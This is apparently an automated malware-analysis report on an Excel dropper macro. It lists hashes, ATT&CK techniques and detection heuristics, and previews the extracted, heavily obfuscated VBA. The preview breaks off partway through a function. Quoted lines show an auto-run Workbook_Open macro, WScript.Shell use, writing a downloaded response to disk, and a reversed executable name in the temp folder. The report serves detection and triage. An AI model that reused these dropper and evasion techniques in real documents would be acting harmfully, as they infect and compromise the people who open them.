Xls.Dropper.Agent-7196014-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 7c490cb2a3c9c2cb…

MALICIOUS

Office (OOXML)

129.1 KB Created: 2019-10-02 04:47:01 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-01-07
MD5: 7426c8927635fb54dabbf2d8b0e8e9fc SHA-1: 9c0c77c1c560fe1e9d5567d20eaa1e9d0f268f03 SHA-256: 7c490cb2a3c9c2cb532c56a2efd02a4702d9baa4747aef3e6534ec7a3323ff0e
396 Risk Score

Malware Insights

Xls.Dropper.Agent-7196014-0 · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Files or Information T1071.001 Web Protocols

The sample is an Excel document containing a Workbook_Open VBA macro designed to execute malicious code. It uses obfuscation techniques and instructs the user to enable content, a common lure. The macro likely downloads and executes a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic.

Heuristics 10

  • ClamAV: Xls.Dropper.Agent-7196014-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7196014-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set w = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .Write r.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set w = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
     se = Environ$(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & "\" & StrReverse("exe.suorxs0o")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 47409 bytes
SHA-256: 96a450218c624c2eb70197ad0c7e950ced79a167e58355d090f73e29474f2f03
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1644 of 2857 identifiers look randomly generated (e.g. 'jsg2agy31fwey1') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()

zltvvnhze41
End Sub






Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "uatxm2j0jnw"


Public Function tn3v3o0ji41()

Dim wcbcty43lgm As Integer
wcbcty43lgm = AA2frmy0gtlcp
afgbykkhxtn = wqea5k5e4t1
yrtdwq3pe2c = jqofxinkoco
AA1mgxay0vj10 = AA1p0n35w33lz
w311s02rvuc = beld44da4w1
x0j5vibov4y = v1n10q011kg
jwlufc4ouxr = AA54fpc1ooz3c
Dim wpjf1mnl544 As Integer
wpjf1mnl544 = ue0hh3zzpdq
d451ju5timz = v1rms15j0qx
idd0xq5rypy = l43uwgjq4lr
hi441tiyeqg = AA5lzwhwipbpv
xarxruxbnzr = nigh1lbhi1c
cgrbeepmicz = dw4dcfcy1f2
AA1vroxyoyrzr = zxe5diwntbf
Dim s4zex1cicj4 As Integer
s4zex1cicj4 = gkcf0rnfbmw
jixpsoaycbz = asgofhrn2gh
AA0op1ic0ciln = lec2ufoitjv
AA5qmvblk1uzf = AA1dqhux4n1hg
uh1ke20d0w1 = j5smo2slja1
bseexbsgdb4 = z1r0akr2qg1
n1j51x3uuzc = dcahngih02e
Dim pftf1c33tt5 As Integer
pftf1c33tt5 = lz22z5edxki
pijayfhgsme = o055q0uxs3t
roz23onvekd = cw32d3qw0la
ezy45tow2z1 = oabsgwgfcys
AA4dfpqz21oan = sl3wgi2bwkc
rxhagz5igo4 = oevvpcj0ztl
im3m1tra0sh = AA4jmo1xih4zr
Dim AA4vu3ovyvrl2 As Integer
AA4vu3ovyvrl2 = ypliaao5iat
bfssmj44zmp = bytshai5sek
i0dqfahkcba = l4zame4m3to
d4a0fe2pofl = hew0l5ym5jj
wvendoukeh3 = AA1qy0mbirkk5
AA2ta5xljnza4 = AA13zdghvylp5
ssyloiisb0h = tckoa13bx00
Dim z0mvt23ihs2 As Integer
z0mvt23ihs2 = wrszjoiahpq
eqsvgkz4lf5 = vzlpbyo0v2m
lkqlhtfpfce = AA14n20o300ua
xhnba0lj311 = g2cxhgjk5nr
AA3ekpobn5d2x = emtxzbh5kii
AA3l0nf3ifj4z = ypochgppq1j
usbdq5u53mf = aedpeo4qcpc
Dim mrfhqqjmf4u As Integer
mrfhqqjmf4u = rrd5zsp0xw5
sp1iq3igkts = vi2jmoipn2u
AA0rc2saizawi = evnlbv4c3eq
bqnkqtxm02g = vh2te0yewp2
guwz0spdu1n = lvyi5lal4lv
sjlj45qb5yk = rrlcdyj2h0d
cf4zm3pre32 = gbnrugoozy0
Dim mwnvm20hroo As Integer
mwnvm20hroo = AA1wfct5n2ojm
qr3cp1w4bnw = bvfqwv2qusn
edz5fvgpqyn = AA11uzbjd05tt
mfbwkdrlzsm = vpk2vwnexom
yhq3zucldh5 = AA0rlpl2ss11e
i1b4c44g34j = ihusqt03i42
AA4mkdcgl3dl1 = mr3jgsvyxxi
Dim djxnvwdh2xc As Integer
djxnvwdh2xc = AA4ppnciucoyy
AA2e1pkdwg0rw = wic2dynrd3y
ptdgowpjnni = fhapmbdmvl2
AA0lghzptdw3f = fxazrz242ud
szympb403kd = xuc0iquawrk
poqxlazmimg = uhtum5erehv
crvmbarscaj = AA12i2oqoi4ay
Dim xffo5l32hjc As Integer
xffo5l32hjc = tpbowtvyxux
a3dizkdrhaq = t2h0t3n4ccr
zn0hivo3arl = x10svndrn35
pp42v3usphc = AA1gzllbrhgxa
syvju4vhnhy = cs3zpawbrpk
lennibrsjdr = jgkuyrhngfn
ht3wo04dutw = o4rjfxcfpgg
Dim qa5tahg4zy3 As Integer
qa5tahg4zy3 = vxr5jpg2wqx
lhmlgigsfrd = co40mvsffwq
tjpm5aelctj = buqhldmjplt
ijlk51p3lpp = jvatohnfnlv
c4zwtlmeii4 = lpfcrf120wq
AA5yotjnbky15 = sw32vzx3fpz
plgwh0m4kyn = AA3m1wnryau5p
Dim klua0zc02yy As Integer
klua0zc02yy = wb3304aig3w
t00txdmwab0 = j42q0extt34
AA2npi0wzwij1 = usz1jqit33q
wnvlldrmssw = e23t0o3sxlp
br5jkrdvtpt = AA0zi0nrney3u
quz0thdfj5i = AA2oa4ii5mqdm
AA0gulvl025d1 = hns4i5oikc0
Dim xdtflbvvvxo As Integer
xdtflbvvvxo = AA1qae1mt1gaw
hu4uklaghsm = AA1nqgsjqyiz0
biiqey5ve42 = i51vgxrda1c
re3prvk5xr0 = idtnwfn0hhs
qkopqokqfsg = utabz4ly2ki
cfbocif54am = AA3mt2dyoh0vh
AA1ragyke2hru = klglnhyfqia
Dim j1g4vvud45l As Integer
j1g4vvud45l = gfsxbth35zf
zt3lz2zcnxk = cofdfog4j4j
ik2pd15dneg = z2opjhb3qvx
eyqlo4qopu3 = AA1tkv5seglfp
AA4gqrheyg54u = jz2jgszgf52
AA4b1k4bsevtv = e0bt4ey2qj0
usny1izon4b = fzo344p3c1f
Dim AA1fm4otaq5lx As Integer
AA1fm4otaq5lx = wfluttdt31t
fhf3hbz2nfh = ykrsqsuf1rt
iu5n0nzbitf = jo24aw103fv
gmevdnyghga = zxg4wne3dxk
pnyj0ombveu = qzufva2xm5i
mcx3rylrwq0 = bc051uay44o
iipactnykmv = AA5vl41plkamv
Dim mmgtii3u0ka As Integer
mmgtii3u0ka = hdtmn2wrt5h
lo0wfvjk1ea = legxbymzyvw
sy1ijjeac1s = dm0tfxfvzqq
u3lpzvvot4g = AA0zhejozdwv4
ep0nlchuv5e = AA3kesr0doncv
bl5kcgg2drc = iusdqsgmx0t
y2fqyzbec43 = al1s4cog1ea
Dim q32303tzcaq As Integer
q32303tzcaq = cogwr55mda0
AA50cqkeox4cj = m2y53fawmun
mpbcc4s4oht = roji41jzwbm
bekz4kafvs3 = wllgbghz20y
uvhz4cyz2ea = i1ongbg1a5y
AA3znkz04jhqr = e4zcg510xi4
lpmgsavzdci = iq5bnelwv1d
Dim z52wtnfxjms As Integer
z52wtnfxjms = ephrfmjvmoy
vlpx00hccyb = yvh5aybsexs
z0xc3zxzlxt = bilyatsr0mt
kumpu5i2ijq = ytih3zna2vu
brsm3l5pc3u = gbx2nof3tzc
vu2etzrmewp = rsfy0kgyno1
AA2j3owsnvvxu = AA5yrpx1o2501
Dim siiznzjahha As Integer
siiznzjahha = yaroas2jdla
jja1bo0m2sb = dnkctmsxddt
AA4izggjkakqm = llrryxaxxhf
AA0xbmza4ayft = AA2b3hrvuenhj
wve10vgqyhc = khymb2twjfm
AA2skcp3trpb4 = zczvwbpvibu
gpuryfcsygl = ml4pf5rjlb0
Dim sv0ckt5beds As Integer
sv0ckt5beds = i5yq0hca31y
naq5lz42sft = pqtwjupwj4p
AA03l51vtv3ny = ssi2lyqldzl
qlfj4s3uohy = cxdir0ldm0w
fcgc2lshhz4 = u2vah1udldy
c544o1d1yqs = w3da5meelns
vnbeepvmnwc = wxsbs40o1fs
Dim s4msg1u0ubh As Integer
s4msg1u0ubh = tn3idyng2qi
jptlb5slpxb = AA52midomcee3
xfqe13o0nqw = bdj1o3ekva5
dnr3bphkznz = hvlcgszs0mk
zfjpug1ztl4 = f4efmcfkfwh
k21trcua3ho = sqzq5kxhjp4
rvvgkpl0tq4 = ccoyinw4eyl
Dim j2o1duuzfqr As Integer
j2o1duuzfqr = sjttpjxj4pc
AA5n31v20onic = ehermoo1avb
AA3dmpyftpa1b = fa3bvgirmkf
ksp4z02njx1 = AA5ru3xa0zyzj
mc5ozjvsseb = chqw31czjay
oe0laqf4h4i = jmypnpooo1n
AA3t1soebcdnq = zxqsjtaeu0j
Dim mfepo3poa3i As Integer
mfepo3poa3i = t34fn5qrjh3
gjxflfo3wtz = tzca3alltl5
bs0dnzm0xxj = dz3sre0wmw5
AA5hefayii2rs = hhibhq0xvzy
AA5dvseayzlpd = qhkpr3x2wtf
yhti5f3cufx = jktp521f2rb
tynracremju = emdfibsj3hn
Dim AA2uh3l35of3z As Integer
AA2uh3l35of3z = dysauhazi41
idq3g1e0gci = xhil3xt35i1
akqc5525p1w = cmcd3zi2ejt
AA01sk10u1p3z = arls1vj0znb
AA0tdyfo4bqnf = cihxukiv4qe
qipxyy5oz2n = aycgcca12uw
vs0yt3lhwxv = vl5yqm0l4p0
Dim nhfbchlzhsm As Integer
nhfbchlzhsm = rer1falqr2z
AA4tfcsdkfcyv = yjo1mcj1ep2
x2vad4ncnuw = a4jhkkwnohc
pujqkdif0me = donuq103gij
AA5v3pun5kpkt = staml2cskev
ez0em0xsz5e = rot1emcaj1c
tkx2mjnknnx = lhj2a2rk4wr
Dim v20gvyysom5 As Integer
v20gvyysom5 = f2lbwmnggid
jtvjia14qje = j0mx5hb2udl
q3m4ogqdswn = agbewh1ae4h
ah3z2ytp0kl = AA1wr3svtxvvw
zw4p5incabc = vvyojh5naic
g05vrl3kvwx = jpobkppvupt
g3gp2evrnno = r1q2eswjmz4
Dim l0n5gzozs2j As Integer
l0n5gzozs2j = ozhc1g43zi0
AA502zee1fnfd = ga05jvoc4cl
tv2tefhiemu = tkx42a03iuv
olm0xmdxzhy = u3flsz2hxz2
wybkhuuomq2 = xmpypazsr2k
v0b0v5j2kgn = g3ts1okbazr
AA51u3cvggvdd = zbun2aflm0f
Dim gfdzcgasmqw As Integer
gfdzcgasmqw = o5va4xwaefy
adlytmjwkwu = ip5qks2im22
fl2xtid3ih1 = ra1rvfaezr2
zy4iaptdevg = ntxvkbhg5kq
pycrysqey5n = jjzidkhhdax
AA1irqk5rxxxt = pgk305qfotw
ekgm1stndbf = exkvc0hdgyk
Dim m1o3puqpscl As Integer
m1o3puqpscl = ujc1afxddke
noq4fbmtgb1 = zjb15vpya03
sykpdqp0i3q = je440ygyp4m
npnd2uo45gh = ympaksxewbi
qkqkdnpwcqo = jzikawxkcv2
fjlfz2xmts1 = c0m5lx5c5bl
y1yu5cua1in = qzpdhejblju
Dim phnep2xvixy As Integer
phnep2xvixy = u2q4czcb5fq
rlctrfpryii = oyf3srucdnw
a30f2ajkegp = fpuzh43jzcf
zkfwjrmsxvl = zu3oibtt0ze
qygjjv1yce1 = n0lb01qy5u3
kmwm3exddoi = gxfablhna0g
diriz41f0du = mgwbifft4pm
Dim yf5cnfnfvsj As Integer
yf5cnfnfvsj = yqspxlriuar
q0gta4qik5p = ywjjykbw5tp
AA2txvlbxcmas = onwsw2ym1lo
jnljownryjn = nwilygteorc
AA4zdrfyl5ehz = pmgxtbcvgt1
i1b2432p1ge = AA03piwt5dfin
qkhnl4tbr5k = u1skke1jaam
Dim ffis2yyd0lr As Integer
ffis2yyd0lr = fty0tuyj2ou
AA00nbqipxxx0 = qfwnri10xmm
kfvn5xqraqw = AA2lkl15yurpi
pm1031i5ibv = AA2r1zxchf0fp
xs1wuecujtz = AA4xtvj4uo34j
rtikr5wiau0 = AA22ri1cprbgj
AA2vw3xtofdrb = gm3xheuekoz
Dim wuagmto52le As Integer
wuagmto52le = krnzokxy4xq
gfop1ene3qa = v4vegsttmro
p3rw0fe2ce3 = nza2gjrgpv0
hydum3knkwa = AA2gigc4oigda
agzgvhivhuu = ffhhkrhw5qg
d35pngsg5a2 = zlytaool2xt
ljancklsakq = AA35k10witokn
Dim tatqk3kh2cf As Integer
tatqk3kh2cf = eorfkdjc3n2
peym3jf0dnk = eeypjz5yzpb
dxumis2ahix = AA4ijy12gzhl5
rkn5qhvcik0 = mdnwrurxtri
n5rd3wqlllc = vwtvzsopwsy
AA0m0iespx3pl = yng4o0z0owq
qwh1uvimijg = c24dhzfckfk
Dim teiucoce34d As Integer
teiucoce34d = vjpcdsj1hyh
AA5bbr5f40at2 = AA3ud2iwf0mqs
AA0vhjpqvsp0i = z51x5zg1bbr
hykae0x3bp3 = iour5qrfxt4
ma0bduc2vjs = dpsmfrt3n2b
AA4a2gf4wk2y5 = j0pcyqlpvs0
mpo4b1ec5wc = AA25zck3wn45s
Dim uhovzdg0sbo As Integer
uhovzdg0sbo = AA4bxhrfa0chc
AA3fzkz0awmhs = olwom2gzebf
fnwm5swsvqv = ltno3h5lbeo
cqd0i31wujy = qmwb3fn41mx
zuif2rytzho = AA3vitou00inb
odpfvwfzzvw = s5d4iav54or
AA0r1yno2gzbc = w1jqmzcd2a1
Dim hxjzb2js5vb As Integer
hxjzb2js5vb = do3hyxzepcj
gs0bf55ugye = AA4ohksfskk31
zjqzrl5f0xs = AA0lm2aqeufzg
jtoyhf23ddb = nkrpywzvdtt
ivhkcyc5cgk = l5lqlfyn52k
ggwb0l3zaru = nm3yqvhzsh4
fci30qqte3o = k31rf43i4yf
Dim v3dkutv2w3z As Integer
v3dkutv2w3z = s3ripoxyyy0
ivyjlehdrhb = yphygcoehd2
i152aphr2ol = yxmtd4koaa5
iezii4kx31j = AA1dx5qhevnop
nc40lz0dzy5 = AA1xrqjgtawox
hmvnylft3v1 = yyslizxdizg
AA4wwqlh2c2w3 = AA1jhehsxhqd2
Dim ca1youwbr5j As Integer
ca1youwbr5j = ucstvjqs5py
plhqkkazkjk = kfdzy3klhpo
dqk1f4rgtku = rpblfaetoib
n2rxdpyafcu = rwdkecsi2my
yie21vwslo1 = AA1xrgdx23b2d
l1afenfdvui = i3vwe5qiogf
ou2ztlatl5u = do4w4c31ejc
Dim ndemtc0bdtz As Integer
ndemtc0bdtz = kxnk1hj5bfp
y1fhhwpsmtj = k5rfhspcki1
AA3kc1sezyfcf = dozt00qglrv
a0ocxzlsroe = AA50n2arhagh1
hacjowcg0v1 = rwnueh2lju2
lkgxprghuru = tsfql3pscgz
db151i2qrfv = jaj5euu4oeu

End Function

Public Function AA0d3lbr0a0u3()

Dim op5y4yu4pds As Integer
op5y4yu4pds = AA4vfm1w1utw5
AA3wdgeothioi = oaypqlgwxqr
apwqjxuim14 = ypfjvamvdxx
wvj5za14xjq = AA2pfrbdbyspl
rpcu0xi2bkl = ujjduwre0et
mgab0yuvmwn = rcsobqez4ud
bo1d0ljknli = AA541vboybqhu
Dim avnaq1n55r2 As Integer
avnaq1n55r2 = AA0kiahvucdxd
nk3kpl33ldy = AA4yzh2dzrr0b
emaw12klxmf = hyspidacvvc
sge4m3n2mtm = AA4hh1w4frkmm
kzz5wtfftfc = usk22ckyhzf
va34iogegba = no2k0rhyufo
haiorvlq1l1 = klg4uepu3rk
Dim unyqcu1q2gr As Integer
unyqcu1q2gr = s21rq34otlx
oianihtvvsv = AA4n0kduwj5q3
gdpuin5vyfl = swh2vozqsu5
kvkgjbqbwij = AA4kr5eeleuil
u3d2urcqagw = bca1abtduv4
AA1yg5yuxaa0r = wwezscdvap0
lwnvs2ycjt3 = AA2b5sc2vpu2p
Dim ruxnwa3p3xo As Integer
ruxnwa3p3xo = AA2illkir2wfg
g3jruviql10 = v5rvlvjwgac
ubf1cwsf1ie = ihg2sb5pwqo
mv0fbobtr3i = qcjekbt2i3l
gdw4pmnuksl = lke2z0hjofz
csc1yy4ojmn = AA110sn3k4n2j
AA513zbhli0lm = ide3iwxqept
Dim AA3auhulqgu3r As Integer
AA3auhulqgu3r = z5xti2dcnjz
AA1vgjjnhib1k = prguzlmhrwp
grtvxiel35h = sg5q4ebcvhu
kxpumtulyta = wibld5mqq21
mkfrdebl4ka = AA5r1tuwkxnpl
AA4hcrppsfb1x = wt4u2dx3cm4
AA4e2yb5qg3jy = feng23bstmm
Dim cmzeisgvd0b As Integer
cmzeisgvd0b = gc1m1l3hefo
igfbq250aht = h5hviyzotfr
lbqmdnmbusz = vwxo0000ygi
AA5sspgwjl3dt = wfkbzeisrxe
emnf5gp04us = hsd5qpp2dy5
h54d2iz3yzi = t5seumtu0fd
db1unwutm2o = cju53ki12ka
Dim pn2wx4ffiln As Integer
pn2wx4ffiln = tbhfqf2gzmw
r1cvkvb3x1w = xp4vuz2chfy
wmrb43wrb5d = AA33y3vszgotf
j530d03hqrc = peertg4xq4z
jqpj4ho2q3s = eoctyhy54rj
ixbwsjhfsrl = f00g2k0kldj
lkobzmkh0bn = chvuet1hrlz
Dim AA2wszaoq0wg5 As Integer
AA2wszaoq0wg5 = AA1oz5hraymsw
wqjipmdgxnh = ff4n30x0mic
yq0qcufvgqt = za1xwkkfn5g
dqzcqav5ktx = njbmarme3tu
ryhbtymlqsn = AA2eupl4lqkqc
uognwuen0nr = wxsntfzykqq
ohs2rglyeep = iv1ikmj0yeb
Dim jf0o1o4ilpb As Integer
jf0o1o4ilpb = AA1fqxm2wp3ma
AA4azhuf12tsy = AA42lg2tikei1
u3ao0casisn = dcgmjddl5xd
ravabmpyags = q3douafhrah
AA5z3kbf4v2y2 = tdvf20rko4b
AA5jzrtlxurv3 = pzioihxs15d
jfxduh2ld14 = AA5n3ya4j5154
Dim wuhg5yc3r1u As Integer
wuhg5yc3r1u = zy3rwevymcj
b1cznvo5yah = buf5qlyv05f
wi5b5jt24lu = AA30oaf4avfwv
zwr5dyaubqw = xqbhyyp3cxj
pvozo1bzevd = AA50ukhpiiznv
utnkdsqopq2 = ksslekg52id
ed2rnpk2cx4 = AA0the4v3iks3
Dim av3ihplimnt As Integer
av3ihplimnt = ovrir3cxiw5
pmqx2s2dici = rwaryefbnsl
y1g2utuyhat = dq04hmfukxy
AA4jscovtbhvq = AA4ixqgurvwea
g1mn5wihddi = xdg20ycwmpq
b2wojg3o0zr = mgki0ytsiqt
AA3ymgotkiovu = AA12zg0mqiquk
Dim d0bjxdnmp0p As Integer
d0bjxdnmp0p = nzow5jl5oxo
fcz455uquaa = c2rb1mbs1n2
a2zbauwiuvo = AA1ct05wryfku
ymvptr3iold = f2lzlfkgewz
zyz5o0ika1r = oovgaddwcoo
qmixo1rgy33 = owdxisomje1
hbsxvbksp0u = djkw5bxwivn
Dim n3fvp0jefsj As Integer
n3fvp0jefsj = wufrjukgimv
dbsnwry2w2a = vqva44toq5t
cfaxlfp2e32 = AA3wnuf14r1pe
lj5pj3k2msf = hkbrttar40i
aq0haeyeuh2 = pqtu4cy3wjm
r5vshtno5ky = eiv0pccwy4m
mi10ydxoiss = mnpckkrkwo0
Dim eiym1gm23p2 As Integer
eiym1gm23p2 = altst0tfgq4
wsntf4xojmo = AA3qdk11crcv0
nn5r02j5ls5 = fsficeyvrjs
AA0kprqveiemr = d54vng0nm4b
AA2ihf1hx1gu5 = tm4gonba05z
AA5inxyhyyp0c = AA1sqxe4t2mpn
lsumjb2xzmz = zxid3xkkjbb
Dim avr4y1cahy0 As Integer
avr4y1cahy0 = tsngsbr4d41
i5rmmgpujqz = gba1kst3e2u
fk5hwzwtb32 = lu3fzslouwb
rglgkkicrhz = go2dindrsdu
hfdevmdzcmj = AA2t1cae4lv5j
qdewmxrydkz = c0zv0vbfy3q
lijus5cb5ys = unl0dupzcqg
Dim uwe1qhuzsgh As Integer
uwe1qhuzsgh = zdwnw2bhxid
AA5h3uwyxgvyk = o1aiw4ctray
vntet34y0yy = hi3oe1smpgx
nlfigcoxyuw = luaiwfhevd0
dzsnkssldct = AA32xo45w4hng
ks1ioo15xxg = zizmtb4like
rwa05owz2ys = osmf4t2m3j0
Dim hcu0p5ckrun As Integer
hcu0p5ckrun = eqsfm1zyqpj
jhomebprxrv = AA2f3vdjm0vtl
AA3vcsdqmvwcj = mssaftd3z1l
wn3txi3fbtz = y5ohzizfv11
AA5gu3uf4verc = evha1qynawr
n05cmk5ajff = AA1z3l3uqvjzr
cbogbv0tzaw = seozas5exyz
Dim AA1gbji4djtau As Integer
AA1gbji4djtau = cqlq0cuv4o4
lh2pwefn1hn = nezdp50tlqs
mynes0k4u03 = kzyz4pqlevj
AA3rdb3zzp5ga = givryglcmzd
d0rzm4zit45 = zm0u0qkmqyu
oinlastgwin = AA2dalp1bnqkc
jyknzucc1kw = sxb0fmlm3at
Dim fy1dekin5sd As Integer
fy1dekin5sd = bkgc1ao3013
zk4os0s1ram = AA3hufftwixm1
uls2hz5xgas = uxtjd5bkkbb
AA4nmxklvlgpx = AA3opskgkh15i
xrt0i2bqq03 = a5yvmxbuyyv
eoxnpbfo0da = milchngz5jk
r2dnqhevmml = ugsh2rbu2hb
Dim dzkwf3r2502 As Integer
dzkwf3r2502 = lw1zapjw5lc
cmzm1wb4dct = kvavhtjenu2
zmahji3pmef = ssuakwlosx2
tay1bq1y1fo = oxrzi3ixgan
AA5yta11sd1ul = lcdahpwrctx
gu2pb2qqbtv = xrmos5xahlq
dcokngydsqp = wfctflqv5tw
Dim mggpeh02png As Integer
mggpeh02png = AA5ath3an3kjp
wcysauugb4o = AA1xyxwx5jpko
bmiskq0rr5j = kitg4zzdcm0
sbe54i2ktvm = bvxsv3t1evs
xzginf1rojg = AA5pkumpwwajj
lfc2rfb4gvy = m0ujo3s4qih
o5ljutqxaiu = czc410a5hee
Dim nlxbd50pzaa As Integer
nlxbd50pzaa = AA4q0r3ljuugm
mahvpadz4n4 = ycpnuh2lmcg
v5oyyyiy2so = rn0ddhe3vnb
shjecwyxy1p = AA31expopo3ee
lj5lpyycib3 = AA2uohzoeejso
AA0lwygptkckb = nwi2wemaau3
hl0pdsch2mq = wxrifgb12vp
Dim j5oygmqns4u As Integer
j5oygmqns4u = i4ktvamavli
u3wloiymung = fqkgcyg3huj
b11ejcvcq1o = etfgvqade1p
cdqtcbqr00i = ksbvnwkmgrr
AA1ypkrvcduog = AA5iztivkhqf4
r5uilyxlmgt = bkgwun14zif
rlrydtbkhql = wvpefagd5ha
Dim mvoos5gvipo As Integer
mvoos5gvipo = iaclrfag1yj
c3i23xfjypn = p43zpulx3vw
qd2el2ggqim = yndgikupciq
c0wdgsnpvhy = ev4y4a5jl5t
AA5yn1hecuhys = rer1z0r2n1x
cufl1eb4hfl = chna5ktyzms
AA3ktnel1ovjj = of00zqfgjgy
Dim AA4rtpj3ykaoq As Integer
AA4rtpj3ykaoq = i0gmy3tbpre
znugjfy2wjt = mn5vxzlwrfg
ia2ogerxye0 = AA4bvcrttxcgr
fgs1qrli0yv = e4c1webo0u5
dz5y1qhlvqs = jr0nox5d4l2
epanqzs2ie0 = xobgkm3yzan
a3ksurkr55a = wq4n4mnxerc
Dim u0czbmb3yls As Integer
u0czbmb3yls = uzjryoyeqls
aiglkylstx0 = qv1w5jq4y5b
swelexwsmpu = AA4g430va0zem
gvhevbvrrpd = AA4lzwajwofdi
pxasfaribi0 = ulvphm5dqub
hnl3mkbmshr = bjoise2z5um
ymt2drvok5y = l3s4xtze3cd
Dim dz4hxz0nloy As Integer
dz4hxz0nloy = uyp15bqd5yo
md5rnihu0pe = iywmrdyelw0
snxwnigj2om = sty5sniqtck
zrx4elutj2z = AA1xtxpvxkdrq
pew2ub11r0j = sior4ggmhrt
juctysbuzft = rcj1reo4vop
zkmnqrab1t5 = ib1ljjddnug
Dim tco41pokvzl As Integer
tco41pokvzl = fjgbibxdk0e
hfodzcxipdh = byazy5gsfnz
i50fldtq0zm = cyzt0hmtsya
AA3iwiuv4dbvf = qvnvyxunf4f
zey1yfnypam = vawat1xwmst
ttxtokaqhft = oyg3uupu250
jg2bxr01bwy = y2i2mnnsgiw
Dim bac4k4oe3wk As Integer
bac4k4oe3wk = AA3tgeaadmhoe
qzn30i04rgn = ipb0wt52ma5
dx1oczcta1q = kxbowirhd5h
z33e1z1zxin = AA2mknlgs4ay5
vldnmcnkxcg = b4tp45wvhw3
vpa4comtcpm = AA05gsxqh4wyt
ymjfqchfycr = w0mxbvpamgz
Dim j0bw1x4bty3 As Integer
j0bw1x4bty3 = AA0jny5tn4ff1
AA004gtztf3el = AA23lfi0nmygq
togzkjxa3sy = xc1qh12qzxl
lxdo2mzu43a = cif04yez4ji
pfupnrjpgph = AA4okdg1lmb23
d4tvo3kbupf = l4dmygxsxzl
rz3m4ffi3ig = pul1ol5cuw4
Dim yxelmw14eyo As Integer
yxelmw14eyo = AA24vzt0mijai
AA3ecmu2cdwt4 = foyfionfe2v
AA5j0zto54uqj = piwb5myav3v
wnduxptrxtq = AA0doyudo1grj
gzk1jtn2jas = AA4wg3naw20pt
metlzl0hnqf = suians4fgah
AA5h3wwhuh5ha = ob5w02cap0b
Dim AA01wo2ruudyk As Integer
AA01wo2ruudyk = plylljqbeac
AA33cogw20oj0 = brdwxoxsdll
jn4go0pr30n = rjx50hhwj51
c2gp5vdebmw = c0kzbwtt1yt
AA5layuwxlrq5 = jseg35jnkma
hu15giaflr2 = vk44krfxvhe
lkwey1crijd = rjkgn1qib5z
Dim y2ifyukcs3p As Integer
y2ifyukcs3p = bk0a4bthrl3
qvbong20rxz = mo2v1hwcotk
xaya301txwl = pmk1zc5uvii
AA0o3tnybwwv4 = z1d4j0pf1pp
mafpchfwga4 = h25h0yputgk
AA40wcteam2z3 = vuchn1etdd2
AA03prtivmuzc = j5slo4cdfwb
Dim jiscvfu5woc As Integer
jiscvfu5woc = x0arnhpyqqv
rxl3lmkb55f = AA2xzzlfdepyw
ecis3leiaj1 = zud255jexju
jfp0triueyr = bfknodrirne
bnr3tpcjlke = bouv4m1kpvn
yi1ejd1fnrq = wb4tuqmghhr
AA4z34r4x4szl = AA5btv5c4leme
Dim cel5zhgmjxa As Integer
cel5zhgmjxa = ldyzlwbmnqy
AA25tbk0yicao = qkwe33xudwa
mxwammvnrdy = ioloybv0y1b
vh12yf3vtsd = g211xkvaiyx
ku3lfzb2gm4 = b4dof1igs4r
hd0npgvalsd = AA0luipimasfg
l2uptl2cknj = eqdu5moh1nw
Dim phfyptcfdt0 As Integer
phfyptcfdt0 = p4hiszeverx
kzy2o4iecu0 = du0mt4rfi2f
AA3xzy1of2ckr = h140we1j2yp
AA30d55zdtn4d = twoou1etfn3
